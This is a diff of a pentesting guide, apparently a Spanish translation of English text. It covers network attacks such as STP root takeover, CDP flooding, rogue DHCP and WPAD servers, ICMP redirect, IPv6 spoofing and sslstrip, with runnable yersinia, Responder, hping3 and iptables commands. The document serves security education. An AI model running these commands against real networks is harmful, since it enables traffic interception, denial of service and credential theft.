TCP packet and the switch should restore the CAM in 15 seconds yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen ``` +#### **Ataque STP Root** -#### **STP Root Attack** - -The attacker simulates the behaviour of a switch to become the STP root of the network. Then, more data will pass through him. This is interesting when you are connected to two different switches.\ -This is done by sending BPDUs CONF packets saying that the **priority** value is less than the actual priority of the actual root switch. - +El atacante simula el comportamiento de un switch para convertirse en el root STP de la red. Luego, más datos pasarán a través de él. Esto es interesante cuando estás conectado a dos switches diferentes.\ +Esto se hace enviando paquetes BPDUs CONF que dicen que el valor de **prioridad** es menor que la prioridad actual del switch root real. ```bash yersinia stp -attack 4 #Behaves like the root switch yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root ``` - -**If the attacker is connected to 2 switches he can be the root of the new tree and all the traffic between those switches will pass through him** (a MITM attack will be performed). - +**Si el atacante está conectado a 2 switches, puede ser la raíz del nuevo árbol y todo el tráfico entre esos switches pasará a través de él** (se realizará un ataque MITM). ```bash yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing" ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages ``` +### Ataques CDP -### CDP Attacks +CISCO Discovery Protocol (CDP) es esencial para la comunicación entre dispositivos CISCO, permitiéndoles **identificarse entre sí y compartir detalles de configuración**. -CISCO Discovery Protocol (CDP) is essential for communication between CISCO devices, allowing them to **identify each other and share configuration details**. +#### Recolección de Datos Pasiva -#### Passive Data Collection +CDP está configurado para transmitir información a través de todos los puertos, lo que podría llevar a un riesgo de seguridad. Un atacante, al conectarse a un puerto de switch, podría desplegar sniffers de red como **Wireshark**, **tcpdump** o **Yersinia**. Esta acción puede revelar datos sensibles sobre el dispositivo de red, incluyendo su modelo y la versión de Cisco IOS que ejecuta. El atacante podría entonces apuntar a vulnerabilidades específicas en la versión de Cisco IOS identificada. -CDP is configured to broadcast information through all ports, which might lead to a security risk. An attacker, upon connecting to a switch port, could deploy network sniffers like **Wireshark**, **tcpdump**, or **Yersinia**. This action can reveal sensitive data about the network device, including its model and the version of Cisco IOS it runs. The attacker might then target specific vulnerabilities in the identified Cisco IOS version. - -#### Inducing CDP Table Flooding - -A more aggressive approach involves launching a Denial of Service (DoS) attack by overwhelming the switch's memory, pretending to be legitimate CISCO devices. Below is the command sequence for initiating such an attack using Yersinia, a network tool designed for testing: +#### Induciendo Inundación de la Tabla CDP +Un enfoque más agresivo implica lanzar un ataque de Denegación de Servicio (DoS) al abrumar la memoria del switch, pretendiendo ser dispositivos CISCO legítimos. A continuación se muestra la secuencia de comandos para iniciar tal ataque utilizando Yersinia, una herramienta de red diseñada para pruebas: ```bash sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices # Alternatively, for a GUI approach: sudo yersinia -G ``` +Durante este ataque, la CPU del switch y la tabla de vecinos CDP están muy sobrecargadas, lo que lleva a lo que a menudo se denomina **“parálisis de red”** debido al consumo excesivo de recursos. -During this attack, the switch's CPU and CDP neighbor table are heavily burdened, leading to what is often referred to as **“network paralysis”** due to the excessive resource consumption. - -#### CDP Impersonation Attack - +#### Ataque de suplantación CDP ```bash sudo yersinia cdp -attack 2 #Simulate a new CISCO device sudo yersinia cdp -attack 0 #Send a CDP packet ``` +También podrías usar [**scapy**](https://github.com/secdev/scapy/). Asegúrate de instalarlo con el paquete `scapy/contrib`. -You could also use [**scapy**](https://github.com/secdev/scapy/). Be sure to install it with `scapy/contrib` package. +### Ataques VoIP y la herramienta VoIP Hopper -### VoIP Attacks and the VoIP Hopper Tool +Los teléfonos VoIP, cada vez más integrados con dispositivos IoT, ofrecen funcionalidades como desbloquear puertas o controlar termostatos a través de números de teléfono especiales. Sin embargo, esta integración puede presentar riesgos de seguridad. -VoIP phones, increasingly integrated with IoT devices, offer functionalities like unlocking doors or controlling thermostats through special phone numbers. However, this integration can pose security risks. +La herramienta [**voiphopper**](http://voiphopper.sourceforge.net) está diseñada para emular un teléfono VoIP en varios entornos (Cisco, Avaya, Nortel, Alcatel-Lucent). Descubre el ID de VLAN de la red de voz utilizando protocolos como CDP, DHCP, LLDP-MED y 802.1Q ARP. -The tool [**voiphopper**](http://voiphopper.sourceforge.net) is designed to emulate a VoIP phone in various environments (Cisco, Avaya, Nortel, Alcatel-Lucent). It discovers the voice network's VLAN ID using protocols like CDP, DHCP, LLDP-MED, and 802.1Q ARP. +**VoIP Hopper** ofrece tres modos para el Protocolo de Descubrimiento de Cisco (CDP): -**VoIP Hopper** offers three modes for the Cisco Discovery Protocol (CDP): +1. **Modo Sniff** (`-c 0`): Analiza paquetes de red para identificar el ID de VLAN. +2. **Modo Spoof** (`-c 1`): Genera paquetes personalizados que imitan los de un dispositivo VoIP real. +3. **Modo Spoof con Paquete Pre-hecho** (`-c 2`): Envía paquetes idénticos a los de un modelo específico de teléfono IP de Cisco. -1. **Sniff Mode** (`-c 0`): Analyzes network packets to identify the VLAN ID. -2. **Spoof Mode** (`-c 1`): Generates custom packets mimicking those of an actual VoIP device. -3. **Spoof with Pre-made Packet Mode** (`-c 2`): Sends packets identical to those of a specific Cisco IP phone model. +El modo preferido por velocidad es el tercero. Requiere especificar: -The preferred mode for speed is the third one. It requires specifying: +- La interfaz de red del atacante (`-i` parámetro). +- El nombre del dispositivo VoIP que se está emulando (`-E` parámetro), siguiendo el formato de nomenclatura de Cisco (por ejemplo, SEP seguido de una dirección MAC). -- The attacker's network interface (`-i` parameter). -- The name of the VoIP device being emulated (`-E` parameter), adhering to the Cisco naming format (e.g., SEP followed by a MAC address). +En entornos corporativos, para imitar un dispositivo VoIP existente, uno podría: -In corporate settings, to mimic an existing VoIP device, one might: - -- Inspect the MAC label on the phone. -- Navigate the phone's display settings to view model information. -- Connect the VoIP device to a laptop and observe CDP requests using Wireshark. - -An example command to execute the tool in the third mode would be: +- Inspeccionar la etiqueta MAC en el teléfono. +- Navegar por la configuración de pantalla del teléfono para ver la información del modelo. +- Conectar el dispositivo VoIP a una laptop y observar las solicitudes CDP usando Wireshark. +Un comando de ejemplo para ejecutar la herramienta en el tercer modo sería: ```bash voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2 ``` +### Ataques DHCP -### DHCP Attacks - -#### Enumeration - +#### Enumeración ```bash nmap --script broadcast-dhcp-discover Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT @@ -551,68 +487,61 @@ Pre-scan script results: |_ Domain Name: mynet Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds ``` - **DoS** -**Two types of DoS** could be performed against DHCP servers. The first one consists on **simulate enough fake hosts to use all the possible IP addresses**.\ -This attack will work only if you can see the responses of the DHCP server and complete the protocol (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). For example, this is **not possible in Wifi networks**. - -Another way to perform a DHCP DoS is to send a **DHCP-RELEASE packet using as source code every possible IP**. Then, the server will think that everybody has finished using the IP. +**Dos tipos de DoS** se pueden realizar contra servidores DHCP. El primero consiste en **simular suficientes hosts falsos para usar todas las direcciones IP posibles**.\ +Este ataque funcionará solo si puedes ver las respuestas del servidor DHCP y completar el protocolo (**Discover** (Comp) --> **Offer** (servidor) --> **Request** (Comp) --> **ACK** (servidor)). Por ejemplo, esto **no es posible en redes Wifi**. +Otra forma de realizar un DoS de DHCP es enviar un **paquete DHCP-RELEASE utilizando como código fuente cada IP posible**. Entonces, el servidor pensará que todos han terminado de usar la IP. ```bash yersinia dhcp -attack 1 yersinia dhcp -attack 3 #More parameters are needed ``` +Una forma más automática de hacer esto es utilizando la herramienta [DHCPing](https://github.com/kamorin/DHCPig) -A more automatic way of doing this is using the tool [DHCPing](https://github.com/kamorin/DHCPig) +Podrías usar los ataques DoS mencionados para forzar a los clientes a obtener nuevos arrendamientos dentro del entorno y agotar los servidores legítimos para que se vuelvan inoperantes. Así que cuando los legítimos intenten reconectarse, **puedes servir valores maliciosos mencionados en el siguiente ataque**. -You could use the mentioned DoS attacks to force clients to obtain new leases within the environment, and exhaust legitimate servers so that they become unresponsive. So when the legitimate try to reconnect, **you can server malicious values mentioned in the next attack**. +#### Establecer valores maliciosos -#### Set malicious values +Se puede configurar un servidor DHCP malicioso utilizando el script DHCP ubicado en `/usr/share/responder/DHCP.py`. Esto es útil para ataques de red, como capturar tráfico HTTP y credenciales, redirigiendo el tráfico a un servidor malicioso. Sin embargo, establecer una puerta de enlace maliciosa es menos efectivo ya que solo permite capturar tráfico saliente del cliente, perdiendo las respuestas de la puerta de enlace real. En su lugar, se recomienda configurar un servidor DNS o WPAD malicioso para un ataque más efectivo. -A rogue DHCP server can be set up using the DHCP script located at `/usr/share/responder/DHCP.py`. This is useful for network attacks, like capturing HTTP traffic and credentials, by redirecting traffic to a malicious server. However, setting a rogue gateway is less effective since it only allows capturing outbound traffic from the client, missing the responses from the real gateway. Instead, setting up a rogue DNS or WPAD server is recommended for a more effective attack. +A continuación se presentan las opciones de comando para configurar el servidor DHCP malicioso: -Below are the command options for configuring the rogue DHCP server: - -- **Our IP Address (Gateway Advertisement)**: Use `-i 10.0.0.100` to advertise your machine's IP as the gateway. -- **Local DNS Domain Name**: Optionally, use `-d example.org` to set a local DNS domain name. -- **Original Router/Gateway IP**: Use `-r 10.0.0.1` to specify the IP address of the legitimate router or gateway. -- **Primary DNS Server IP**: Use `-p 10.0.0.100` to set the IP address of the rogue DNS server you control. -- **Secondary DNS Server IP**: Optionally, use `-s 10.0.0.1` to set a secondary DNS server IP. -- **Netmask of Local Network**: Use `-n 255.255.255.0` to define the netmask for the local network. -- **Interface for DHCP Traffic**: Use `-I eth1` to listen for DHCP traffic on a specific network interface. -- **WPAD Configuration Address**: Use `-w “http://10.0.0.100/wpad.dat”` to set the address for WPAD configuration, assisting in web traffic interception. -- **Spoof Default Gateway IP**: Include `-S` to spoof the default gateway IP address. -- **Respond to All DHCP Requests**: Include `-R` to make the server respond to all DHCP requests, but be aware that this is noisy and can be detected. - -By correctly using these options, a rogue DHCP server can be established to intercept network traffic effectively. +- **Nuestra dirección IP (Anuncio de puerta de enlace)**: Usa `-i 10.0.0.100` para anunciar la IP de tu máquina como la puerta de enlace. +- **Nombre de dominio DNS local**: Opcionalmente, usa `-d example.org` para establecer un nombre de dominio DNS local. +- **IP del router/puerta de enlace original**: Usa `-r 10.0.0.1` para especificar la dirección IP del router o puerta de enlace legítima. +- **IP del servidor DNS primario**: Usa `-p 10.0.0.100` para establecer la dirección IP del servidor DNS malicioso que controlas. +- **IP del servidor DNS secundario**: Opcionalmente, usa `-s 10.0.0.1` para establecer una IP de servidor DNS secundario. +- **Máscara de red de la red local**: Usa `-n 255.255.255.0` para definir la máscara de red para la red local. +- **Interfaz para tráfico DHCP**: Usa `-I eth1` para escuchar el tráfico DHCP en una interfaz de red específica. +- **Dirección de configuración WPAD**: Usa `-w “http://10.0.0.100/wpad.dat”` para establecer la dirección para la configuración WPAD, ayudando en la interceptación del tráfico web. +- **Suplantar la IP de la puerta de enlace predeterminada**: Incluye `-S` para suplantar la dirección IP de la puerta de enlace predeterminada. +- **Responder a todas las solicitudes DHCP**: Incluye `-R` para hacer que el servidor responda a todas las solicitudes DHCP, pero ten en cuenta que esto es ruidoso y puede ser detectado. +Al usar correctamente estas opciones, se puede establecer un servidor DHCP malicioso para interceptar el tráfico de red de manera efectiva. ```python # Example to start a rogue DHCP server with specified options !python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R ``` +### **Ataques EAP** -### **EAP Attacks** +Aquí hay algunas de las tácticas de ataque que se pueden utilizar contra implementaciones de 802.1X: -Here are some of the attack tactics that can be used against 802.1X implementations: - -- Active brute-force password grinding via EAP -- Attacking the RADIUS server with malformed EAP content _\*\*_(exploits) -- EAP message capture and offline password cracking (EAP-MD5 and PEAP) -- Forcing EAP-MD5 authentication to bypass TLS certificate validation -- Injecting malicious network traffic upon authenticating using a hub or similar - -If the attacker if between the victim and the authentication server, he could try to degrade (if necessary) the authentication protocol to EAP-MD5 and capture the authentication attempt. Then, he could brute-force this using: +- Fuerza bruta activa de contraseñas a través de EAP +- Ataque al servidor RADIUS con contenido EAP malformado _\*\*_(exploits) +- Captura de mensajes EAP y cracking de contraseñas offline (EAP-MD5 y PEAP) +- Forzar la autenticación EAP-MD5 para eludir la validación del certificado TLS +- Inyectar tráfico de red malicioso al autenticar usando un hub o similar +Si el atacante está entre la víctima y el servidor de autenticación, podría intentar degradar (si es necesario) el protocolo de autenticación a EAP-MD5 y capturar el intento de autenticación. Luego, podría realizar fuerza bruta utilizando: ``` eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt ``` - ### FHRP (GLBP & HSRP) Attacks -**FHRP** (First Hop Redundancy Protocol) is a class of network protocols designed to **create a hot redundant routing system**. With FHRP, physical routers can be combined into a single logical device, which increases fault tolerance and helps distribute the load. +**FHRP** (First Hop Redundancy Protocol) es una clase de protocolos de red diseñados para **crear un sistema de enrutamiento redundante en caliente**. Con FHRP, los enrutadores físicos pueden combinarse en un solo dispositivo lógico, lo que aumenta la tolerancia a fallos y ayuda a distribuir la carga. -**Cisco Systems engineers have developed two FHRP protocols, GLBP and HSRP.** +**Los ingenieros de Cisco Systems han desarrollado dos protocolos FHRP, GLBP y HSRP.** {{#ref}} glbp-and-hsrp-attacks.md @@ -620,82 +549,73 @@ glbp-and-hsrp-attacks.md ### RIP -Three versions of the Routing Information Protocol (RIP) are known to exist: RIP, RIPv2, and RIPng. Datagrams are sent to peers via port 520 using UDP by RIP and RIPv2, whereas datagrams are broadcasted to UDP port 521 via IPv6 multicast by RIPng. Support for MD5 authentication was introduced by RIPv2. On the other hand, native authentication is not incorporated by RIPng; instead, reliance is placed on optional IPsec AH and ESP headers within IPv6. +Se conocen tres versiones del Protocolo de Información de Enrutamiento (RIP): RIP, RIPv2 y RIPng. Los datagramas se envían a pares a través del puerto 520 utilizando UDP por RIP y RIPv2, mientras que los datagramas se transmiten al puerto UDP 521 a través de multicast IPv6 por RIPng. El soporte para autenticación MD5 fue introducido por RIPv2. Por otro lado, la autenticación nativa no está incorporada por RIPng; en su lugar, se confía en encabezados opcionales de IPsec AH y ESP dentro de IPv6. -- **RIP and RIPv2:** Communication is done through UDP datagrams on port 520. -- **RIPng:** Utilizes UDP port 521 for broadcasting datagrams via IPv6 multicast. +- **RIP y RIPv2:** La comunicación se realiza a través de datagramas UDP en el puerto 520. +- **RIPng:** Utiliza el puerto UDP 521 para transmitir datagramas a través de multicast IPv6. -Note that RIPv2 supports MD5 authentication while RIPng does not include native authentication, relying on IPsec AH and ESP headers in IPv6. +Tenga en cuenta que RIPv2 admite autenticación MD5 mientras que RIPng no incluye autenticación nativa, confiando en encabezados de IPsec AH y ESP en IPv6. ### EIGRP Attacks -**EIGRP (Enhanced Interior Gateway Routing Protocol)** is a dynamic routing protocol. **It is a distance-vector protocol.** If there is **no authentication** and configuration of passive interfaces, an **intruder** can interfere with EIGRP routing and cause **routing tables poisoning**. Moreover, EIGRP network (in other words, autonomous system) **is flat and has no segmentation into any zones**. If an **attacker injects a route**, it is likely that this route will **spread** throughout the autonomous EIGRP system. +**EIGRP (Enhanced Interior Gateway Routing Protocol)** es un protocolo de enrutamiento dinámico. **Es un protocolo de vector de distancia.** Si no hay **autenticación** y configuración de interfaces pasivas, un **intruso** puede interferir con el enrutamiento de EIGRP y causar **envenenamiento de tablas de enrutamiento**. Además, la red EIGRP (en otras palabras, el sistema autónomo) **es plana y no tiene segmentación en zonas**. Si un **atacante inyecta una ruta**, es probable que esta ruta se **propague** por todo el sistema EIGRP autónomo. -To attack a EIGRP system requires **establishing a neighbourhood with a legitimate EIGRP route**r, which opens up a lot of possibilities, from basic reconnaissance to various injections. +Atacar un sistema EIGRP requiere **establecer un vecindario con un enrutador EIGRP legítimo**, lo que abre muchas posibilidades, desde reconocimiento básico hasta varias inyecciones. -[**FRRouting**](https://frrouting.org/) allows you to implement **a virtual router that supports BGP, OSPF, EIGRP, RIP and other protocols.** All you need to do is deploy it on your attacker’s system and you can actually pretend to be a legitimate router in the routing domain. +[**FRRouting**](https://frrouting.org/) le permite implementar **un enrutador virtual que admite BGP, OSPF, EIGRP, RIP y otros protocolos.** Todo lo que necesita hacer es desplegarlo en el sistema de su atacante y puede pretender ser un enrutador legítimo en el dominio de enrutamiento. {{#ref}} eigrp-attacks.md {{#endref}} -[**Coly**](https://code.google.com/p/coly/) has capabilities for intercepting EIGRP (Enhanced Interior Gateway Routing Protocol) broadcasts. It also allows for the injection of packets, which can be utilized to alter routing configurations. +[**Coly**](https://code.google.com/p/coly/) tiene capacidades para interceptar transmisiones de EIGRP (Enhanced Interior Gateway Routing Protocol). También permite la inyección de paquetes, que pueden ser utilizados para alterar configuraciones de enrutamiento. ### OSPF -In Open Shortest Path First (OSPF) protocol **MD5 authentication is commonly employed to ensure secure communication between routers**. However, this security measure can be compromised using tools like Loki and John the Ripper. These tools are capable of capturing and cracking MD5 hashes, exposing the authentication key. Once this key is obtained, it can be used to introduce new routing information. To configure the route parameters and establish the compromised key, the _Injection_ and _Connection_ tabs are utilized, respectively. +En el protocolo Open Shortest Path First (OSPF), **la autenticación MD5 se emplea comúnmente para asegurar la comunicación entre enrutadores**. Sin embargo, esta medida de seguridad puede ser comprometida utilizando herramientas como Loki y John the Ripper. Estas herramientas son capaces de capturar y descifrar hashes MD5, exponiendo la clave de autenticación. Una vez que se obtiene esta clave, se puede utilizar para introducir nueva información de enrutamiento. Para configurar los parámetros de ruta y establecer la clave comprometida, se utilizan las pestañas _Injection_ y _Connection_, respectivamente. -- **Capturing and Cracking MD5 Hashes:** Tools such as Loki and John the Ripper are used for this purpose. -- **Configuring Route Parameters:** This is done through the _Injection_ tab. -- **Setting the Compromised Key:** The key is configured under the _Connection_ tab. +- **Captura y Descifrado de Hashes MD5:** Herramientas como Loki y John the Ripper se utilizan para este propósito. +- **Configuración de Parámetros de Ruta:** Esto se realiza a través de la pestaña _Injection_. +- **Configuración de la Clave Comprometida:** La clave se configura en la pestaña _Connection_. ### Other Generic Tools & Sources -- [**Above**](https://github.com/c4s73r/Above): Tool to scan network traffic and find vulnerabilities -- You can find some **more information about network attacks** [**here**](https://github.com/Sab0tag3d/MITM-cheatsheet). +- [**Above**](https://github.com/c4s73r/Above): Herramienta para escanear el tráfico de red y encontrar vulnerabilidades +- Puede encontrar **más información sobre ataques de red** [**aquí**](https://github.com/Sab0tag3d/MITM-cheatsheet). ## **Spoofing** -The attacker configures all the network parameters (GW, IP, DNS) of the new member of the network sending fake DHCP responses. - +El atacante configura todos los parámetros de red (GW, IP, DNS) del nuevo miembro de la red enviando respuestas DHCP falsas. ```bash Ettercap yersinia dhcp -attack 2 #More parameters are needed ``` - ### ARP Spoofing -Check the [previous section](./#arp-spoofing). +Consulta la [sección anterior](./#arp-spoofing). ### ICMPRedirect -ICMP Redirect consist on sending an ICMP packet type 1 code 5 that indicates that the attacker is the best way to reach an IP. Then, when the victim wants to contact the IP, it will send the packet through the attacker. - +ICMP Redirect consiste en enviar un paquete ICMP tipo 1 código 5 que indica que el atacante es la mejor manera de alcanzar una IP. Luego, cuando la víctima quiera contactar la IP, enviará el paquete a través del atacante. ```bash Ettercap icmp_redirect hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5] ``` - ### DNS Spoofing -The attacker will resolve some (or all) the domains that the victim ask for. - +El atacante resolverá algunos (o todos) los dominios que la víctima solicite. ```bash set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on ``` - -**Configure own DNS with dnsmasq** - +**Configurar su propio DNS con dnsmasq** ```bash apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon dig @localhost domain.example.com # Test the configured DNS ``` +### Puertas de enlace locales -### Local Gateways - -Multiple routes to systems and networks often exist. Upon building a list of MAC addresses within the local network, use _gateway-finder.py_ to identify hosts that support IPv4 forwarding. - +A menudo existen múltiples rutas hacia sistemas y redes. Al crear una lista de direcciones MAC dentro de la red local, utiliza _gateway-finder.py_ para identificar hosts que soportan el reenvío de IPv4. ``` root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git root@kali:~# cd gateway-finder/ @@ -713,66 +633,58 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder [+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100] [+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100] ``` +### [Spoofing LLMNR, NBT-NS, y mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) +Para la resolución de hosts locales cuando las búsquedas DNS no tienen éxito, los sistemas de Microsoft dependen de **Link-Local Multicast Name Resolution (LLMNR)** y el **NetBIOS Name Service (NBT-NS)**. De manera similar, **Apple Bonjour** y las implementaciones de **Linux de configuración cero** utilizan **Multicast DNS (mDNS)** para descubrir sistemas dentro de una red. Debido a la naturaleza no autenticada de estos protocolos y su operación sobre UDP, transmitiendo mensajes, pueden ser explotados por atacantes que buscan redirigir a los usuarios a servicios maliciosos. -For local host resolution when DNS lookups are unsuccessful, Microsoft systems rely on **Link-Local Multicast Name Resolution (LLMNR)** and the **NetBIOS Name Service (NBT-NS)**. Similarly, **Apple Bonjour** and **Linux zero-configuration** implementations utilize **Multicast DNS (mDNS)** for discovering systems within a network. Due to the unauthenticated nature of these protocols and their operation over UDP, broadcasting messages, they can be exploited by attackers aiming to redirect users to malicious services. - -You can impersonate services that are searched by hosts using Responder to send fake responses.\ -Read here more information about [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). +Puedes suplantar servicios que son buscados por hosts utilizando Responder para enviar respuestas falsas.\ +Lee aquí más información sobre [cómo suplantar servicios con Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). ### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -Browsers commonly employ the **Web Proxy Auto-Discovery (WPAD) protocol to automatically acquire proxy settings**. This involves fetching configuration details from a server, specifically through a URL such as "http://wpad.example.org/wpad.dat". The discovery of this server by the clients can happen through various mechanisms: +Los navegadores comúnmente emplean el **protocolo Web Proxy Auto-Discovery (WPAD) para adquirir automáticamente configuraciones de proxy**. Esto implica obtener detalles de configuración de un servidor, específicamente a través de una URL como "http://wpad.example.org/wpad.dat". El descubrimiento de este servidor por los clientes puede ocurrir a través de varios mecanismos: -- Through **DHCP**, where the discovery is facilitated by utilizing a special code 252 entry. -- By **DNS**, which involves searching for a hostname labeled _wpad_ within the local domain. -- Via **Microsoft LLMNR and NBT-NS**, which are fallback mechanisms used in cases where DNS lookups do not succeed. +- A través de **DHCP**, donde el descubrimiento se facilita utilizando una entrada de código especial 252. +- Por **DNS**, que implica buscar un nombre de host etiquetado como _wpad_ dentro del dominio local. +- A través de **Microsoft LLMNR y NBT-NS**, que son mecanismos de respaldo utilizados en casos donde las búsquedas DNS no tienen éxito. -The tool Responder takes advantage of this protocol by acting as a **malicious WPAD server**. It uses DHCP, DNS, LLMNR, and NBT-NS to mislead clients into connecting to it. To dive deeper into how services can be impersonated using Responder [check this](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). +La herramienta Responder aprovecha este protocolo actuando como un **servidor WPAD malicioso**. Utiliza DHCP, DNS, LLMNR y NBT-NS para engañar a los clientes y hacer que se conecten a él. Para profundizar en cómo se pueden suplantar servicios utilizando Responder [consulta esto](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). -### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md) +### [Spoofing dispositivos SSDP y UPnP](spoofing-ssdp-and-upnp-devices.md) -You can offer different services in the network to try to **trick a user** to enter some **plain-text credentials**. **More information about this attack in** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.** +Puedes ofrecer diferentes servicios en la red para intentar **engañar a un usuario** para que ingrese algunas **credenciales en texto plano**. **Más información sobre este ataque en** [**Spoofing SSDP y Dispositivos UPnP**](spoofing-ssdp-and-upnp-devices.md)**.** -### IPv6 Neighbor Spoofing - -This attack is very similar to ARP Spoofing but in the IPv6 world. You can get the victim think that the IPv6 of the GW has the MAC of the attacker. +### Spoofing de Vecinos IPv6 +Este ataque es muy similar al Spoofing ARP pero en el mundo IPv6. Puedes hacer que la víctima piense que el IPv6 del GW tiene la MAC del atacante. ```bash sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested sudo fake_advertise6 -r -w 2 eth0 #This option will send the Neighbor Advertisement packet every 2 seconds ``` +### Suplantación/Inundación de Anuncios de Router IPv6 -### IPv6 Router Advertisement Spoofing/Flooding - -Some OS configure by default the gateway from the RA packets sent in the network. To declare the attacker as IPv6 router you can use: - +Algunos sistemas operativos configuran por defecto la puerta de enlace a partir de los paquetes RA enviados en la red. Para declarar al atacante como router IPv6, puedes usar: ```bash sysctl -w net.ipv6.conf.all.forwarding=1 4 ip route add default via dev wlan0 fake_router6 wlan0 fe80::01/16 ``` +### Suplantación de DHCP IPv6 -### IPv6 DHCP spoofing - -By default some OS try to configure the DNS reading a DHCPv6 packet in the network. Then, an attacker could send a DHCPv6 packet to configure himself as DNS. The DHCP also provides an IPv6 to the victim. - +Por defecto, algunos sistemas operativos intentan configurar el DNS leyendo un paquete DHCPv6 en la red. Entonces, un atacante podría enviar un paquete DHCPv6 para configurarse a sí mismo como DNS. El DHCP también proporciona una IPv6 a la víctima. ```bash dhcp6.spoof on dhcp6.spoof.domains mitm6 ``` +### HTTP (página falsa e inyección de código JS) -### HTTP (fake page and JS code injection) - -## Internet Attacks +## Ataques a Internet ### sslStrip -Basically what this attack does is, in case the **user** try to **access** a **HTTP** page that is **redirecting** to the **HTTPS** version. **sslStrip** will **maintain** a **HTTP connection with** the **client and** a **HTTPS connection with** the **server** so it ill be able to **sniff** the connection in **plain text**. - +Básicamente, lo que hace este ataque es que, en caso de que el **usuario** intente **acceder** a una página **HTTP** que está **redireccionando** a la versión **HTTPS**. **sslStrip** mantendrá una **conexión HTTP con** el **cliente y** una **conexión HTTPS con** el **servidor** para que pueda **interceptar** la conexión en **texto plano**. ```bash apt-get install sslstrip sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k @@ -781,33 +693,29 @@ sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT ``` +Más información [aquí](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf). -More info [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf). +### sslStrip+ y dns2proxy para eludir HSTS -### sslStrip+ and dns2proxy for bypassing HSTS +La **diferencia** entre **sslStrip+ y dns2proxy** contra **sslStrip** es que **redirigirán** por ejemplo _**www.facebook.com**_ **a** _**wwww.facebook.com**_ (note la **extra** "**w**") y establecerán la **dirección de este dominio como la IP del atacante**. De esta manera, el **cliente** se **conectará** a _**wwww.facebook.com**_ **(el atacante)** pero tras bambalinas **sslstrip+** **mantendrá** la **conexión real** a través de https con **www.facebook.com**. -The **difference** between **sslStrip+ and dns2proxy** against **sslStrip** is that they will **redirect** for example _**www.facebook.com**_ **to** _**wwww.facebook.com**_ (note the **extra** "**w**") and will set the **address of this domain as the attacker IP**. This way, the **client** will **connect** to _**wwww.facebook.com**_ **(the attacker)** but behind the scenes **sslstrip+** will **maintain** the **real connection** via https with **www.facebook.com**. +El **objetivo** de esta técnica es **evitar HSTS** porque _**wwww**.facebook.com_ **no será** guardado en la **caché** del navegador, por lo que el navegador será engañado para realizar **la autenticación de facebook en HTTP**.\ +Tenga en cuenta que para realizar este ataque la víctima debe intentar acceder inicialmente a [http://www.faceook.com](http://www.faceook.com) y no a https. Esto se puede hacer modificando los enlaces dentro de una página http. -The **goal** of this technique is to **avoid HSTS** because _**wwww**.facebook.com_ **won't** be saved in the **cache** of the browser, so the browser will be tricked to perform **facebook authentication in HTTP**.\ -Note that in order to perform this attack the victim has to try to access initially to [http://www.faceook.com](http://www.faceook.com) and not https. This can be done modifying the links inside an http page. +Más información [aquí](https://www.bettercap.org/legacy/#hsts-bypass), [aquí](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) y [aquí](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly). -More info [here](https://www.bettercap.org/legacy/#hsts-bypass), [here](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly). - -**sslStrip or sslStrip+ doesn;t work anymore. This is because there are HSTS rules presaved in the browsers, so even if it's the first time that a user access an 